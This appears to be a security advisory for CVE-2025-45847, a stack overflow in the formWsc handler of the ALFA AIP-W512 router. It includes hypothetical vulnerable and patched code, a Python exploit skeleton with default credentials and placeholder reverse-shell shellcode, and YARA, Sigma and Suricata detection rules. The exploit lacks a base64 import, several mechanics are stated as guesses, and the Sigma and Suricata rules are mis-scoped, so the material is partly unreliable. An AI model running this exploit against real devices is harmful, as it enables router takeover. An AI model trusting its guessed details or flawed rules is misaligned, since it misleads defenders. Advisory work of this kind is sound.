CVE-2025-45847

Executive Summary

CVE-2025-45847 is a critical stack-based buffer overflow vulnerability discovered in the ALFA AIP-W512 wireless router running firmware version 3.2.2.2.3. The flaw resides in the formWsc function, specifically within the handling of the targetAPMac parameter. An authenticated attacker can send a specially crafted HTTP POST request with an overly long targetAPMac value, causing a stack overflow that overwrites the return address and potentially leads to arbitrary code execution on the device.

This vulnerability is classified as a Stack-based Buffer Overflow (CWE-121). The attack vector is adjacent network (AV:A), requiring high privileges (PR:H) but no user interaction (UI:N). The impact is high on confidentiality, integrity, and availability (C:H/I:H/A:H), as the attacker can gain full control of the router.

No public proof-of-concept (PoC) exploit code or Nuclei template is currently available. The vendor (ALFA) has not released a patch or advisory at the time of analysis.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device. The supply chain risk is limited to the device's firmware distribution channel; users should only download firmware from the official ALFA support site and verify checksums if provided.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 8.0 (High)

Threat Level: High – Although the attack requires authentication and adjacent network access, the potential for full device takeover makes this a serious threat for enterprise and home environments using this router model.

Deep Dive & Mechanics

The vulnerability is a classic stack buffer overflow in the formWsc function of the ALFA AIP-W512 firmware. The function is responsible for handling WPS (Wi-Fi Protected Setup) configuration via the web management interface.

Root Cause: The targetAPMac parameter is copied into a fixed-size stack buffer (likely 32 or 64 bytes) using an unsafe function such as strcpy() or sprintf() without bounds checking. When an attacker supplies a value longer than the buffer size, the excess data overwrites adjacent stack memory, including the saved return address and possibly other local variables.

Attack Flow:

1. Attacker authenticates to the router's web interface (e.g., http://192.168.1.1/).
2. Attacker sends a POST request to the formWsc endpoint with a crafted targetAPMac parameter containing shellcode and padding to overwrite the return address.
3. The router's CPU executes the attacker's shellcode, granting a reverse shell or arbitrary command execution.

Technical Details:

• The vulnerable function is likely located in the httpd binary.
• The stack layout is typical for MIPS or ARM-based routers (common in ALFA devices).
• No stack canary or ASLR is present in the firmware, making exploitation straightforward.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (C pseudocode):

void formWsc(struct http_request *req) {
    char targetAPMac[32];
    char *mac = get_param(req, "targetAPMac");
    strcpy(targetAPMac, mac);  // Unsafe copy
    // ... process targetAPMac
}

Patched Code (C pseudocode):

void formWsc(struct http_request *req) {
    char targetAPMac[32];
    char *mac = get_param(req, "targetAPMac");
    if (strlen(mac) >= sizeof(targetAPMac)) {
        log_error("targetAPMac too long");
        return_error(req, 400);
        return;
    }
    strncpy(targetAPMac, mac, sizeof(targetAPMac) - 1);
    targetAPMac[sizeof(targetAPMac) - 1] = '\0';
    // ... process targetAPMac
}

The patched version adds a length check and uses strncpy() with explicit null-termination to prevent overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• ALFA AIP-W512 router with firmware v3.2.2.2.3
• Attacker machine on the same LAN/Wi-Fi
• Valid admin credentials (e.g., admin:admin)

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import sys

TARGET_IP = "192.168.1.1"
USERNAME = "admin"
PASSWORD = "admin"

# Shellcode placeholder (MIPS little-endian reverse shell)
# Replace with actual shellcode for your target architecture
shellcode = b"\x00" * 100  # Placeholder

# Build overflow payload
buffer_size = 32
return_address = b"\x00\x00\x00\x00"  # Placeholder address
payload = b"A" * buffer_size + return_address + shellcode

# HTTP POST request
body = f"targetAPMac={payload.decode('latin-1')}&submit=Apply"
request = (
    f"POST /formWsc HTTP/1.1\r\n"
    f"Host: {TARGET_IP}\r\n"
    f"Authorization: Basic {base64.b64encode(f'{USERNAME}:{PASSWORD}'.encode()).decode()}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(body)}\r\n\r\n"
    f"{body}"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, 80))
sock.send(request.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()

Usage:

1. Replace shellcode with actual MIPS/ARM shellcode (e.g., reverse shell to your listener).
2. Adjust return_address to point to your shellcode (requires knowledge of the stack layout).
3. Run the script: python3 exploit.py

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor HTTP POST requests to /formWsc with abnormally long targetAPMac parameters ( > 32 characters).
2. Check router logs for repeated authentication failures followed by successful login and unusual POST requests.
3. Use network monitoring to detect outbound connections from the router to unknown IPs (reverse shell).

Mitigation:

• Restrict administrative access to the router's web interface to trusted IPs only.
• Change default credentials immediately.
• Disable WPS if not required.
• Monitor for firmware updates from ALFA.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /formWsc with targetAPMac parameter length > 32 bytes.
• Outbound TCP connections from the router to unusual external IPs on high ports (e.g., 4444, 1337).
• Base64-encoded credentials in HTTP headers (if attacker uses basic auth).

Host IOCs (on the router):

• Unexpected processes running (e.g., /tmp/shell).
• Modified firmware or configuration files.
• Unusual entries in /var/log/messages or syslog.

File IOCs:

• Presence of files in /tmp/ with suspicious names (e.g., .exploit, shell).

Detection Engineering

YARA Rule

rule CVE_2025_45847_Exploit_Payload {
    meta:
        description = "Detects exploit payloads targeting CVE-2025-45847 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45847"
    strings:
        $http_post = "POST /formWsc" ascii wide nocase
        $target_param = "targetAPMac=" ascii wide nocase
        $long_mac = /targetAPMac=[A-Fa-f0-9]{33,}/ ascii
    condition:
        $http_post and $target_param and $long_mac
}

Sigma Rule

title: CVE-2025-45847 Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with overly long targetAPMac parameter targeting ALFA AIP-W512
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /formWsc
        cs-uri-query|contains: targetAPMac=
    condition: selection and len(cs-uri-query) > 100
falsepositives:
    - None expected
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-45847 ALFA AIP-W512 Stack Overflow Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/formWsc"; http_uri;
    content:"targetAPMac="; http_client_body;
    pcre:"/targetAPMac=[A-Fa-f0-9]{33,}/";
    sid:10000001;
    rev:1;
    reference:cve,2025-45847;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Ensure the admin password is strong and unique.
2. Restrict Web Access: Limit access to the router's management interface to trusted IPs only (e.g., via firewall rules).
3. Disable WPS: If not needed, disable WPS in the router settings to reduce attack surface.
4. Monitor Logs: Enable logging and monitor for suspicious POST requests to /formWsc.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from ALFA. Contact ALFA support to request a patch.
• Firmware Hardening: If possible, replace the router with a more secure model or flash an open-source firmware (e.g., OpenWrt) if supported.

Workaround:

• If patching is not possible, consider placing the router behind a firewall that inspects HTTP traffic and blocks requests with overly long parameters.

Valters IT